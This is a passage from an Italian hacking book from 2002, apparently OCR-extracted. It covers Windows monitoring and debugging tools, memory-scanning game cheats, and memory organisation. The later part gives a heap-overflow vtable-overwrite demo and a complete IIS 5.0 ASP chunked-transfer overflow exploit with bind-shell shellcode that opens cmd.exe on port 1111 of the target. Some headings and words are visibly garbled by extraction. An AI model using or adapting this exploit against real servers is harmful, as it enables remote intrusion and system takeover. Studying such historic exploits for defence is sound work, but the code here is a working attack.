ADVAPI32.RegCloseKey
ADVAPI32.RegCreateKeyEx
ADVAPI32.RegOpenKeyEx
ADVAPI32.RegQueryValueEx
Nell'ambito delle protezioni questi strumenti vengono usati per individuare le modifiche e le voci utilizzate
all'interno del registro ed eventualmente i files in cui vengono scritte e lette certe informazioni.
l programma di capture del registro permette di settare dei filtri in modo tale da vedere solo le operazioni
fatte sul registro da singoli programmi.
Chiaramente viene anche visualizzato il tipo di operazione, la chiave interessata, il valore e il risultato.
La stessa possibilit la possiede anche il programma per monitorare l'accesso ai files e al disco.
Sempre degli stesso autori vengono distribuiti diversi programmi della classe di REGMON e precisamente
FLEMON, DSKMON.
Un alra utilit STRACE che permette di tracciare le call che vengono eseguite al sistema.
Nell'ambito del cracking questa funzionalit importantissima in quanto spesso si presenta la necessit d
individuare le chiamate che vengono fatte al sistema.
L'attivazione del programma viene eseguita mediante la linea d comando :
[c:\strace] strace notepad
l' output sar
1 133 139 NtOpenKey (0x80000000, {24, 0, 0x40, 0, 0,
"\Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\Image File
Execution Options\notepad.exe"}, ... ) == STATUS_OBJECT_NAME_NOT_FOUND
2 133 139 NtCreateEvent (0x100003, 0x0, 1, 0, ... 8, ) == 0x0
3 133 139 NtAllocateVirtualMemory (-1, 1243984, 0, 1244028, 8192, 4, ... ) ==
0x0
Hacker's Programming Book Parte 19
http://hbook.crackinguniversity2000.it - Copyright 2002 Flavio Bernardotti
4 133 139 NtAllocateVirtualMemory (-1, 1243980, 0, 1244032, 4096, 4, ... ) ==
0x0
5 133 139 NtAllocateVirtualMemory (-1, 1243584, 0, 1243644, 4096, 4, ... ) ==
0x0
6 133 139 NtOpenDirectoryObject (0x3, {24, 0, 0x40, 0, 0, "\KnownDlls"}, ... 12,
) == 0x0
7 133 139 NtOpenSymbolicLinkObject (0x1, {24, 12, 0x40, 0, 0, "KnownDllPath"},
... 16, ) == 0x0
8 133 139 NtQuerySymbolicLinkObject (16, ... "C:\WINNT\system32", 0x0, ) == 0x0
9 133 139 NtClose (16, ... ) == 0x0
.
.
.
Come avrete notato l'attivazione stata fatta specificando sulla linea di comando de programma da
analizzare.
Se si disponesse di un processo gi attivo in memoria si potrebbe fare :
[c:\strace] strace -p 34
1 34 33 NtUserPeekMessage (1244272, 0, 0, 0, 1, 1244192, ... ) == 0x1
2 34 33 NtUserLockWindowStation (68, ... ) == 0x1
3 34 33 NtUserOpenInputDesktop (0, 0, 33554432, ... ) == 0xd8
4 34 33 NtUserGetObjectInformation (216, 2, 0, 0, 1244100, ... ) == 0x0
5 34 33 NtUserGetObjectInformation (216, 2, 1294320, 16, 1244100, ... ) == 0x1
6 34 33 NtUserSwitchDesktop (84, ...
7 34 33 NtOpenKey (0x20019, {24, 0, 0x40, 0, 0,
"\Registry\Machine\Hardware\DeviceMap\Video"}, ... 244, ) == 0x0
8 34 33 NtQueryValueKey (244, "\Device\Video0", 1, -203229988, 512, -203229476,
... ) == 0x0
9 34 33 NtOpenKey (0x20019, {24, 0, 0x40, 0, 0,
"\Registry\Machine\System\CurrentControlSet\Hardware
Profiles\Current\System\CurrentControlSet\Services\mga64\Device0"}, ... 184, )
== 0x0
10 34 33 NtClose (244, ... ) == 0x0
.
.
.
n altre parole il numero del processo viene specificato al posto del nome del programma.
Un'altra utilit di monitoraggio NT Process Monitor mediante il quale possibile monitorae le funzion
eseguite dai processi, come ad esempio la creazione di thread o la loro cancellazione.
Sempre da www.sysinternals.com possibile prelevare HANDLE.EXE che permette di visualizzare gli
handles dei files.
Si tratta di un utility DOS che utilizza la sua interfaccia.
l risultato del tipo :
Handle v2.01
Copyright (C) 1997-2001 Mark Russinovich
Sysinternals - www.sysinternals.com
------------------------------------------------------------------------------
System pid: 8 NT AUTHORITY\SYSTEM
74: File D:\WINNT\CSC\00000001
c0: File E:\pagefile.sys
Hacker's Programming Book Parte 19
http://hbook.crackinguniversity2000.it - Copyright 2002 Flavio Bernardotti
------------------------------------------------------------------------------
System Idle Process pid: 0 \<unable to open process>
------------------------------------------------------------------------------
SMSS.EXE pid: 132 NT AUTHORITY\SYSTEM
14: File D:\WINNT
2c: File D:\WINNT\system32
------------------------------------------------------------------------------
CSRSS.EXE pid: 160 NT AUTHORITY\SYSTEM
18: File D:\WINNT\system32
40: Section \NLS\NlsSectionUnicode
44: Section \NLS\NlsSectionLocale
48: Section \NLS\NlsSectionCType
4c: Section \NLS\NlsSectionSortkey
50: Section \NLS\NlsSectionSortTbls
4cc: File D:\WINNT\system32\ega.cpi
------------------------------------------------------------------------------
WINLOGON.EXE pid: 156 NT AUTHORITY\SYSTEM
7c: File D:\WINNT\system32\Com
168: Section \BaseNamedObjects\mmGlobalPnpInfo
170: File D:\Program Files\Common Files\Microsoft Shared\web server
extensions\40\_vti_bin
18c: Section \BaseNamedObjects\WDMAUD_Device_Interface_Path
198: Section \BaseNamedObjects\WDMAUD_Callbacks
1b0: File D:\WINNT\system32\dllcache
..
Un altra utility che sever a monitorare i device installati ne sistema DRVER MONTOR.
Quando si parla di attacchi locali, quelli che vengono eseguiti sulla machina stessa che si desidera colpire,
spesso sono necessari molti strumenti di questo tipo per eseguire un analisi dettagliata su quello che accade
sul sistema al momento dell'attivazione di qualche programma.
Una di queste metodologie quella che viene chiamata DFFNG.
Molti che arrivano dal cracking dei giochi conoscono quei tipi di programmi che analizzano la memoria
creando delle immagini che successivamente vengono usate per ricercare in quali locazioni sono avvenuti
certi cambiamenti.
Parlo dei giochi in quanto il fatto di andare a cercare il punto in memoria dove vengono memorizzati i soldi
posseduti, come in CAESAR , o i punti necessari a ottenere qualche privilegio sono situazioni comuni
eseguite dagli smanettoni di questi.
Sinceramente ho usato anch'io con Caesar il metodo di andare a cercare il punto in cui il programma teneva
memorizzati i soldi a disposizione per le costruzioni.
Ad ogni modo uno degli strumenti fondamentali di questi tipi di attivit sono senz'altro i debugger.
l mitico Softce si sta perdendo per la strada in quanto essendo questo debugger legatissimo al basso livelo
del sistema operativo, i nuovi come ad esempio XP non lo supportano.
Hacker's Programming Book Parte 19
http://hbook.crackinguniversity2000.it - Copyright 2002 Flavio Bernardotti
A parte il fatto che a volte gli strumenti semplici che si trovano all'interno di altri pacchetti sono
funzionalmente meglio di molti altri il cui scopo di fatto quello unico di debuggare.
Mi sto riferendo ad una piacevole scoperta fatta ultimamente quando provando PEBrowse Pro mi sono
accorto che al suo interno esisteva un debugger.
Quali caratteristiche fantastiche poteva avere questo debugger ?
Nulla di particolare ma solo un metodo molto comodo di seguire il programma.
Durante la fase di debugging spesso ci si trova davanti a call a funzioni per cui in quel punto il programma
interrompe la sequenzialit per saltare ad un altro indirizzo.
l debugger di cui sto parlando quando si verifica questo caso apre una nuova finestra in cui viene
incorporata la funzone chiamata.
n questo modo semplice avere sotto gli occhi il flusso completo in quanto la visualizzazione pu pu
avvenire passando da una finestra ad un'altra avendo sempre tutto sotto gli occhi.
Sempre all'interno di finestre indipendenti il debugger in questione permette di visualizzare informazioni
particolari come ad esempio il contenuto dello stack, cosa importantissima nel tipo di usi che un hacker ne
potrebbe fare.
Alcune volte diventa importantissimo avere sotto gli occhi le informazioni legate ai thread, agli oggetti grafici
in memoria, gli oggetti creati dall'utente, quelli del kernel.
PE Browser Debugger visualizza anche delle finestre in cui possibile visualizzare queste informazioni.
Ripeto che comunque la funzionalit pi importante quella legata al fatto di visualizzare una nuova finestra
ogni volta che viene incontrata una call.
Chi ha debuggato in asembler dei programmi potr sicuramente capire quanto possa essere importante
questa funzionalit.
Le informazioni fornite da PEDebug coprono ad ogni modo tutti gli aspetti dei processi in memoria a partire
dagli oggetti Kernel, quelli definiti dall'utente, gli oggetti grafici relativi alla GD e cosi via.
Sicuramente PEBrowse e PEDebug diventato in questi anni uno degli strumenti migliori esistenti relativi a
queste funzionalit.
Hacker's Programming Book Parte 19
http://hbook.crackinguniversity2000.it - Copyright 2002 Flavio Bernardotti
Un tipo di strumenti molto particolari sono quelli che eseguono una fotografia della memoria e
successivamente permettono di identificare determinate locazioni nelle quali vengono a trovarsi certi valori.
Uno degli usi molto frequenti di questo tipo di programmi quello relativo alla ricerca dei punti in memoria
dove sono presenti dei valori particolari relativi a determinati giochi.
Per portare un esempio pratico posso riferirmi ad una situazone personale che mi aveva portato a utilizzare
uno di questi software.
Mi riferisco al gioco CAESAR .
Durante lo svolgimento del gioco vengono dati un ceryo numero di DENAR necessari per eseguire le
costruzioni pubbliche nell'ambito dele comunit gestite nel gioco.
Una volta terminati i soldi non pi possibile andare avanti.
A questo punto mediante il programma RAMCHEAT esegui una ricerca di tutte quelle locazioni di memoria
usate dal programma in cui si trovava il numero relativo ai DENAR da me posseduti.
Duranyte la creazione di un nuovo progetto il programma richiede di selzionare il programma che si vuole
mettere in analisi.
Una volta selzionato il processo possibile richiedere una fotografia della memoria relativa a tutte quelle
locazioni in cui presente il valore ricercato.
Una volta specificato il valore, il numero delle locazioni in cui questo potrebbe essere presente pu di fatto
essere elevatissimo.
Hacker's Programming Book Parte 19
http://hbook.crackinguniversity2000.it - Copyright 2002 Flavio Bernardotti
Questo il motivo per cui certe ricerche si fanno mediante due passi.
Durante il primo passaggio vengono identificate tutte le locazioni che contengono un certo valore.
Successivamente si fa in modo che iul valore cambi in modo che successivamente pu essere eeguita una
ricerca al fine di rovare quali delle locazioni che prima contenevano il valore oroginale di fatto abbiano a
questo punto cambiato il valore con quello ricercato.
Nel caso del gioco di cui parlavo la rcerca iniziale era stata fatta mediante il numero di denari di quell'istante
overo 1200.
Appena finita la ricerca iniziale veniva costruita una casa in modo che il totale dei denari scendesse del costo
di questa.
Una volta ottenuto il nuovo importo questo veniva utilizzato per vedere quali locazioni che inizialemnte
contenevano i denari iniziali a quel punto erano variati.
Chiaramente l'uso di questi programmi ha come scopo quello di trovare cheats nei giochi ma questi possono
essere anche utilizzati nall'ambito dell'hacking per ricercare determinate locazioni di mamoria dove sono
contenuti valori particolari.
L'orgoni;;o;ione deIIo memorio
Come argomento questo non direttamente legato all'hacking ma di fato ho notato che affrontando
determinati discorsi, come ad esempio quelli legati ai buffers overflow, certi concetti erano complessi da
comprendere per tutte quelle persone che non avevano mai avuto a che fare direttamente con quella che
l'organizzazione della memoria.
Tutti sanno che questa all'interno di un sistema pu essere considerata come una sequenza di contenitori
numerati da 0 alla dimensione massima di questa dentro a ciascuno dei quali vengono memorizzati dei
numeri i quali rappresentano i dati e i codici delle istruzioni che il processore in grado di eseguire.
La sua gestione, dal punto di vista elettronico, ha subito negli anni un certo numero di modifiche tutte legate
alle esigenze tecniche che le soluzioni adottate permettevano di gestire.
Se di fatto accettiamo questo concetto che ci rappresenta la memoria come una sequenza di contenitori
chiaro che per forza ci devono essere determinati meccanismi legati alla gestione di questi.
l primo meccanismo deve essere per forza un sistema idoneo a trasferire da e verso una certa casella i
valori trattati.
l secondo meccanismo invece dove essere quello che nell'ambito di un trasferimento dice quale casella
interessata nell'operazione.
Questi due meccanismi ci portano ad ipotizzare che in questo meccanismo di gestione della memoria ci deve
essere necessariamente un buffer adatto a trasferire i dati ed uno idoneo a indirizzare le celle di memoria.
Fino dai primi tempi in cui questo sistema venne implementato dentro ai sistemi informatici ci si trov davanti
a quelli che venivano definiti con i termini di DATA BUS e ADDRESS BUS.
Hacker's Programming Book Parte 19
http://hbook.crackinguniversity2000.it - Copyright 2002 Flavio Bernardotti
Concettualmente il principio era semplice da concepire.
valori espressi come BYTES, ovvero come numeri rappresentati da numeri binari, utilizzavano un fascio di
conduttori per essere trasferiti dalla memoria verso la CPU, dalla CPU verso la memoria e da questi due
entit verso i gestori dei sistemi di /O indirizzati a gestire le periferiche collegate al sistema.
Trattandosi di BYTES ovvero numeri rappresentati da 8 BTS avremmo potuto al limite concepire il databus
come un conduttore a 8 fili su ciascuno dei quali veniva trasferito un BT del valore.
l concetto invece legato alla rappresentazione dell'indirizzo atto ad indicare la cella interessata in un
operazione di lettura/scrittura della memoria, ha subito negli anni alcune evoluzioni legate alle limitazioni
elettroniche che i sistemi disponevano nei primi anni.
Come tutti sappiamo per rappresentare un numero seriore a 65368 dovremmo avere a disposizione un
numero di bits superiore a 16.
Se i sistemi fossero nati con le stesse caratteristiche di quelli attuali non avremmo dovuto adottare alcuni
escamotage per riuscire ad indirizzare quantit di memoria superiori a 64K.
nfatti al giorno d'oggi parliamo di indirizzi a 32 BTS in grado quindi di rappresentare valori compresi tra 0 e
pi di 4 miliardi.
Anni fa invece i processori erano a 8 BTS, come nel caso delle CPU NTEL 8088, e gli address bus erano
costituiti da 20 BTS.
chips utilizzati per gestire le memorie erano anche questi limitati come capacit.
Ogni CHP era in grado di possedere 64KB di celle.
A questo punto se per indirizzare 64KB erano necessari 16 BTS cosa veniva fatto per avere 640 KB di RAM
nel sistema ?
Chiaramente non era pensabile utilizzare 16 cavi per arrivare ad ogni CHP da 64 KB per cui l'address bus a
20 bits veniva utilizzato in un modo particolare.
primi 16 bits arrivavano a tutti i chips per cui se su questi veniva inserito un indirizzo tutti i chips ricevevano
questo valore.
4 bits superiori andavano ad un decoder il quale abilitava il chip che era interessato ad interpretare
l'indirizzo.
Essendo il sistema di indirizzamento capace di rappresentare solo valori fino a 64KB venne usato il concetto
di segmento inteso come numero di partenza da cui contare 64KB.
Questo concetto venne ereditato dal software il quale a livello assembler lo port avanti fino ai giorni nostri a
tutti i livelli.
compilatori nell'ambito degli indirizzamenti di memoria concepivano diversi segmenti come ad esempio il
segmento del codice (CODE SEGMENT), il segmento dei dati (DATA SEGMENT) e cosi via.
Per poter gestire questi indirizzi vennero inseriti all'interno del processore dei registri particolari atti a
rappresentare questi valori in modo tale che se all'interno del programma gli indirizzamenti venivano fatti
tramite valori a 16 bits, il valore del segmento di fatto veniva preso da questi .
Ad esempio la rappresentazione del CODE SEGMENT compito del registro CS, quello del DATA
SEGMENT di DS.
n altre parole se in un certo punto di un programma in memoria veniva fatto riferimento ad un offset di fatto
l'indirizzo era concepito come DS:OFFSET (o CS:OFFSET).
Questi due registri sono utilizzati per quello che riguarda il codice e i dati.
Altri registri particolari vengono utilizzati per la gestione dello stack.
Lasciando perdere un attimo i concetti fisici legati alla gestione della memoria, la codifica dei programmi e il
loro metodo di gestione ha reso necessari determinati escamotage come ad esempio delle zone di memoria
in cui i dati inseriti per prima di fatto sono gli ultimi ad essere estratti.
Pensate ad una zona di memoria che funziona come lo spunzone delle consumazioni dei bar.
Se su questo dovessimo inserire un certo numero di biglietti di fatto il primo ad essere inserito diventerebbe
l'ultimo e pater essere estratto.
La gestione logica dei programmi ha sempre necessitato di una zona di memoria che venisse gestita in
questo modo.
Come saprete i programmi sono costituiti di sequenze di istruzioni scritte in un determinato linguaggio le quali
possono essere anche raggruppate all'interno di quelle che vengono definite con il termine di funzioni.
Quando si desidera eseguire una determinata sequenza di istruzioni atte ad eseguire una certa funzionalit
sufficiente richiamare per nome una determinata funzione.
n questo caso l'esecuzione sequenziale delle istruzioni si interrompe e il programma passa, o meglio salta,
all'indirizzo di dove si trova la funzione interessata.
Hacker's Programming Book Parte 19
http://hbook.crackinguniversity2000.it - Copyright 2002 Flavio Bernardotti
void Iunzione()

istruzione1;
istruzione2;
}
istruzione01;
istruzione02;
Iunzione();
istruzione03;
istruzione04;
. . .
Chiaramente quando il programma salta alla funzione deve inserire da qualche parte l'indirizzo di dove il tutto
deve ritornare quando la funzione stessa termina.
Lo stack server appunto a questo.
Ogni volta che si incontra una chiamata ad una funzione il sistema memorizza nello stack l'indirizzo di ritorno
in modo che quando questa termina l'indirizzo di ritorno viene estratto e riutilizzato all'interno del
NSTRUCTON PONTER ovvero il registro EP quello che mantiene all'interno del processore l'indirizzo
correntemente eseguito.
Lo stack viene anche utilizzato per altri scopi come ad esempio la memorizzazione delle variabili locali alle
funzioni.
Come abbiamo detto in altri capitoli nella progettazione del software quando si cerca di valutare le dimensioni
delle variabili possono verificarsi diversi casi.
Nella sintassi relativa alla dichiarazione di una variabile in linguaggi come il C ci troviamo :
classe_di_memoria tipo nome_variabile;
La classe di memoria dice al compilatore in quale zona di memoria deve essere allocata la variabile.
Se non viene fatta nessuna specifica il compilatore adatta alla circostanza questo parametro ovvero esegue
quella che la procedura di allocazione automatica delle variabili.
Se la variabile viene dichiarata dentro ad una funzione la varabile viene definita dentro al segmento di stack.
Se la dichiarazione globale il suo spazio viene definito dentro ad un datasegment.
La specifica static davanti ad una variabile locale fa si che l'allocazione non sia pi dentro alo stack ma
dentro ad un segmento di dati statico.
Alcune volte seguito della valutazione fatta in fase di analisi possibile stabilire la dimensione massima che
una variabile potr raggiungere durante il funzionamento del software dentro al quale questa definita.
n altri casi non possibile a priori fare questo tipo di valutazione per cui possibile utilizzare un ulteriore tipo
che linguaggi come il C possiedono.
Questo il tipo puntatore ovvero la variabile definita serve di fatto a contenere un indirizzo di una zona di
mamoria.
n altre parole mediante una procedura di allocazione dinamica della memoria viene riservato da qualche
parte una certa dimensione di questa e l'indirizzo di dove questa inizia viene memorizzato dentro alla
variabile puntatore.
Se ad esempio ad un certo punto avessimo bisogno di avere un array con 4096 bytes potremmo fare :
char *buffer;
buffer = (char *) malloc(4096);
La funzione malloc() allocherebbe da qualche parte della memoria la dimansione specificata come
argomento e l'indirizzo verrebbe successivamente memorizzato all'interno del puntatore buffer.
n questo caso la memoria viene allocata dentro ad un ennesimo tipo di segmento ovvero in quello spazio
chiamato HEAP.
Avevamo detto che in fase di LNK possibile specificare la dimensione dello stack che generalmente di
default sempre 2048 bytes.
Hacker's Programming Book Parte 19
http://hbook.crackinguniversity2000.it - Copyright 2002 Flavio Bernardotti
Esiste una specifica del clinker che permette di modificare anche la dimensione dell'heap.
Parlando di buffer overflow avevamo detto che in molti casi lo spazio da assaltare all'interno dell'heap
proprio per il fatto che spesso all'interno dei programmi lo spazio di memoria viene allocato dinamicamente e
successivamente rilasciato quando questo non server pi.
Lo stesso metodo di gestione della memoria quello utilizzato nei nuovi linguaggi object oriented quando si
crea dinamicamente una classe.
Quando ci troviamo davanti a :
classe nome_variabile = new classe();
di fatto il sistema crea dinamicamente lo spazio in cui inserire la classe.
n relazione allo sconfinamento che possibile eseguire dentro all' HEAP vediamo ora come di fatto
mediante l'instanziamento automatico di due classi, dentro a una delle quali esiste un oggetto statico che
viene overflowed, possibile eseguire questa funzione.
Questo metodo sovrascrive quella definita con il termine di vtable pointer ovvero il virtual-function
table pointer allinterno della seconda classe.
// class_tres1.cpp : Defines the entry point for the console //application.
#include "stdafx.h"
#include <stdio.h>
#include <string.h>
class test1
{
public:
char name[10];
virtual ~test1();
virtual void run();
};
class test2
{
public:
char name[10];
virtual ~test2();
virtual void run();
};
int main(int argc, char* argv[])
{
class test1 *t1 = new class test1;
class test1 *t5 = new class test1;
class test2 *t2 = new class test2;
class test2 *t3 = new class test2;
//////////////////////////////////////
// overwrite t2's virtual function
// pointer w/ heap address
// 0x00301E54 making the destructor
// appear to be 0x77777777
// and the run() function appear to
// be 0x88888888
//////////////////////////////////////
strcpy(t3->name, "\x77\x77\x77\x77\x88\x88\x88\x88XX XXXXXXXXXX XXXXXXXXXX
XXXXXXXXXX XXXXXXXXXX XXXX\x54\x1E\x30\x00");
delete t1;
delete t2; // causes destructor 0x77777777 to be called
delete t3;
Hacker's Programming Book Parte 19
http://hbook.crackinguniversity2000.it - Copyright 2002 Flavio Bernardotti
return 0;
}
void test1::run()
{
}
test1::~test1()
{
}
void test2::run()
{
puts("hey");
}
test2::~test2()
{
}
Mediante il metodo usato all'interno del programma visto l'attaccante pu creare una nuova virtual function
table nel buffer controllato.
Windows Z000 Server IIS b.0 .ASP OverfIow ExpIoif
Uscito recentemente un bugs che affligge il sistema di gestione ASP.
Questo tipo di exploit apre la porta 1111 e apre una shell and bind the cmd.exe su questa.
/* Windows 2000 Server Exploit By CHINANSL Security Team.
Test on Windows 2000 Chinese Version, IIS 5.0 , not patched.
Warning:THIS PROGRAM WILL ONLY TEST.
CHINANSL Technology CO.,LTD http://www.chinansl.com
keji@chinansl.com
*/
#include "stdafx.h"
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <windows.h>
#pragma comment (lib,"Ws2_32")
int main(int argc, char* argv[])
{
if(argc != 4)
{
printf("%s ip port aspfilepath\n\n",argv[0]);
printf(" ie. %s 127.0.0.1 80 /iisstart.asp\n",argv[0]);
puts(" programed by keji@chinansl.com");
return 0;
}
DWORD srcdata=0x01e2fb1c-4;//0x00457474;
//address of SHELLCODE
DWORD jmpaddr=0x00457494; //0x77ebf094;/ /0x01e6fcec; //"\x1c\xfb\xe6\x01";
//"\x0c\xfb\xe6\x01";
char* destIP=argv[1];
char* destFile=argv[3];
int webport=atoi(argv[2]);
Hacker's Programming Book Parte 19
http://hbook.crackinguniversity2000.it - Copyright 2002 Flavio Bernardotti
char* pad="\xcc\xcc\xcc\xcc" "ADPA" "\x02\x02\x02\x02" "PADP"; //16 bytes
WSADATA ws;
SOCKET s;
long result=0;
if(WSAStartup(0x0101,&ws) != 0)
{
puts("WSAStartup() error");
return -1;
}
struct sockaddr_in addr;
addr.sin_family=AF_INET;
addr.sin_port=htons(webport);
addr.sin_addr.s_addr=inet_addr(destIP);
s=socket(AF_INET,SOCK_STREAM,0);
if(s==-1)
{
puts("Socket create error");
return -1;
}
if(connect(s,(struct sockaddr *)&addr,sizeof(addr)) == -1)
{
puts("Cannot connect to the specified host");
return -1;
}
char buff[4096];
char*
shellcode="\x55\x8b\xec\x33\xc0\xb0\xf0\xf7\xd8\x03\xe0\x8b\xfc\x33\xc9\x89"
"\x8d\x2c\xff\xff\xff\xb8\x6b\x65\x72\x6e\xab\xb8\x65\x6c\x33\x32"
"\xab\x32\xc0\xaa\xb8\x77\x73\x6f\x63\xab\xb8\x6b\x33\x32\x2e\xab"
"\x4f\x32\xc0\xaa\x8d\x7d\x80\xb8\x63\x6d\x64\x2e\xab\x32\xc0\x4f"
"\xaa\xb8\x23\x80\xe7\x77\x8d\x9d\x10\xff\xff\xff\x53\xff\xd0\x89"
"\x45\xfc\xb8\x23\x80\xe7\x77\x8d\x9d\x19\xff\xff\xff\x53\xff\xd0"
"\x89\x45\xf8\xbb\x4b\x56\xe7\x77\x6a\x47\xff\x75\xfc\xff\xd3\x89"
"\x45\xf4\x6a\x48\xff\x75\xfc\xff\xd3\x89\x45\xf0\x33\xf6\x66\xbe"
"\x1d\x02\x56\xff\x75\xfc\xff\xd3\x89\x45\xec\x66\xbe\x3e\x02\x56"
"\xff\x75\xfc\xff\xd3\x89\x45\xe8\x66\xbe\x0f\x03\x56\xff\x75\xfc"
"\xff\xd3\x89\x45\xe4\x66\xbe\x9d\x01\x56\xff\x75\xfc\xff\xd3\x89"
"\x85\x34\xff\xff\xff\x66\xbe\xc4\x02\x56\xff\x75\xfc\xff\xd3\x89"
"\x85\x28\xff\xff\xff\x33\xc0\xb0\x8d\x50\xff\x75\xfc\xff\xd3\x89"
"\x85\x18\xff\xff\xff\x6a\x73\xff\x75\xf8\xff\xd3\x89\x45\xe0\x6a"
"\x17\xff\x75\xf8\xff\xd3\x89\x45\xdc\x6a\x02\xff\x75\xf8\xff\xd3"
"\x89\x45\xd8\x33\xc0\xb0\x0e\x48\x50\xff\x75\xf8\xff\xd3\x89\x45"
"\xd4\x6a\x01\xff\x75\xf8\xff\xd3\x89\x45\xd0\x6a\x13\xff\x75\xf8"
"\xff\xd3\x89\x45\xcc\x6a\x10\xff\x75\xf8\xff\xd3\x89\x45\xc8\x6a"
"\x03\xff\x75\xf8\xff\xd3\x89\x85\x1c\xff\xff\xff\x8d\x7d\xa0\x32"
"\xe4\xb0\x02\x66\xab\x66\xb8\x04\x57\x66\xab\x33\xc0\xab\xf7\xd0"
"\xab\xab\x8d\x7d\x8c\x33\xc0\xb0\x0e\xfe\xc8\xfe\xc8\xab\x33\xc0"
"\xab\x40\xab\x8d\x45\xb0\x50\x33\xc0\x66\xb8\x01\x01\x50\xff\x55"
"\xe0\x33\xc0\x50\x6a\x01\x6a\x02\xff\x55\xdc\x89\x45\xc4\x6a\x10"
"\x8d\x45\xa0\x50\xff\x75\xc4\xff\x55\xd8\x6a\x01\xff\x75\xc4\xff"
"\x55\xd4\x33\xc0\x50\x50\xff\x75\xc4\xff\x55\xd0\x89\x45\xc0\x33"
"\xff\x57\x8d\x45\x8c\x50\x8d\x45\x98\x50\x8d\x45\x9c\x50\xff\x55"
"\xf4\x33\xff\x57\x8d\x45\x8c\x50\x8d\x45\x90\x50\x8d\x45\x94\x50"
"\xff\x55\xf4\xfc\x8d\xbd\x38\xff\xff\xff\x33\xc9\xb1\x44\x32\xc0"
"\xf3\xaa\x8d\xbd\x38\xff\xff\xff\x33\xc0\x66\xb8\x01\x01\x89\x47"
"\x2c\x8b\x45\x94\x89\x47\x38\x8b\x45\x98\x89\x47\x40\x89\x47\x3c"
"\xb8\xf0\xff\xff\xff\x33\xdb\x03\xe0\x8b\xc4\x50\x8d\x85\x38\xff"
"\xff\xff\x50\x53\x53\x53\x6a\x01\x53\x53\x8d\x4d\x80\x51\x53\xff"
"\x55\xf0\x33\xc0\xb4\x04\x50\x6a\x40\xff\x95\x34\xff\xff\xff\x89"
"\x85\x30\xff\xff\xff\x90\x33\xdb\x53\x8d\x85\x2c\xff\xff\xff\x50"
"\x53\x53\x53\xff\x75\x9c\xff\x55\xec\x8b\x85\x2c\xff\xff\xff\x85"
"\xc0\x74\x49\x33\xdb\x53\xb7\x04\x8d\x85\x2c\xff\xff\xff\x50\x53"
"\xff\xb5\x30\xff\xff\xff\xff\x75\x9c\xff\x55\xe8\x85\xc0\x74\x6d"
Hacker's Programming Book Parte 19
http://hbook.crackinguniversity2000.it - Copyright 2002 Flavio Bernardotti
"\x33\xc0\x50\xff\xb5\x2c\xff\xff\xff\xff\xb5\x30\xff\xff\xff\xff"
"\x75\xc0\xff\x55\xcc\x83\xf8\xff\x74\x53\xeb\x10\x90\x90\x90\x90"
"\x90\x90\x6a\x32\xff\x95\x28\xff\xff\xff\xeb\x99\x90\x90\x33\xc0"
"\x50\xb4\x04\x50\xff\xb5\x30\xff\xff\xff\xff\x75\xc0\xff\x55\xc8"
"\x83\xf8\xff\x74\x28\x89\x85\x2c\xff\xff\xff\x33\xc0\x50\x8d\x85"
"\x2c\xff\xff\xff\x50\xff\xb5\x2c\xff\xff\xff\xff\xb5\x30\xff\xff"
"\xff\xff\x75\x90\xff\x55\xe4\x85\xc0\x74\x02\xeb\xb4\xff\x75\xc4"
"\xff\x95\x1c\xff\xff\xff\xff\x75\xc0\xff\x95\x1c\xff\xff\xff\x6a"
"\xff\xff\x95\x18\xff\xff\xff";
char* s1="POST ";// HTTP/1.1\r\n";
char* s2="Accept: */*\r\n";
char* s4="Content-Type: application/x-www-
form-urlencoded\r\n";
char* s5="Transfer-Encoding:
chunked\r\n\r\n";
char* sc="0\r\n\r\n\r\n";
char shellcodebuff[1024*8];
memset(shellcodebuff,0x90,sizeof
(shellcodebuff));
memcpy(&shellcodebuff[sizeof(shellcodebuff)-
strlen(shellcode)-1],shellcode,strlen(shellcode));
shellcodebuff[sizeof(shellcodebuff)-1] = 0;
char sendbuff[1024*16];
memset(sendbuff,0,1024*16);
sprintf(sendbuff,"%s%s?%s HTTP/1.1\r\n%sHost:
%s\r\n%s%s10\r\n%s\r\n4\r\nAAAA\r\n4\r\nBBBB\r\n%s", s1, destFile,
shellcodebuff, s2, destIP, s4,s 5, pad/*,srcdata,jmpaddr*/, sc);
int sendlen=strlen(sendbuff);
*(DWORD *)strstr(sendbuff,"BBBB") = jmpaddr;
*(DWORD *)strstr(sendbuff,"AAAA") = srcdata;
result=send(s,sendbuff,sendlen,0);
if(result == -1 )
{
puts("Send shellcode error!");
return -1;
}
memset(buff,0,4096);
result=recv(s,buff,sizeof(buff),0);
if(strstr(buff,"<html>") != NULL)
{
shutdown(s,0);
closesocket(s);
puts("Send shellcode error!Try again!");
return -1;
}
shutdown(s,0);
closesocket(s);
printf("\nUse <telnet %s 1111> to connect to the host\n",destIP);
puts("If you cannot connect to the host,try run this program again!");
return 0;
}
Hacker's Programming Book Parte 19
http://hbook.crackinguniversity2000.it - Copyright 2002 Flavio Bernardotti

Potrebbero piacerti anche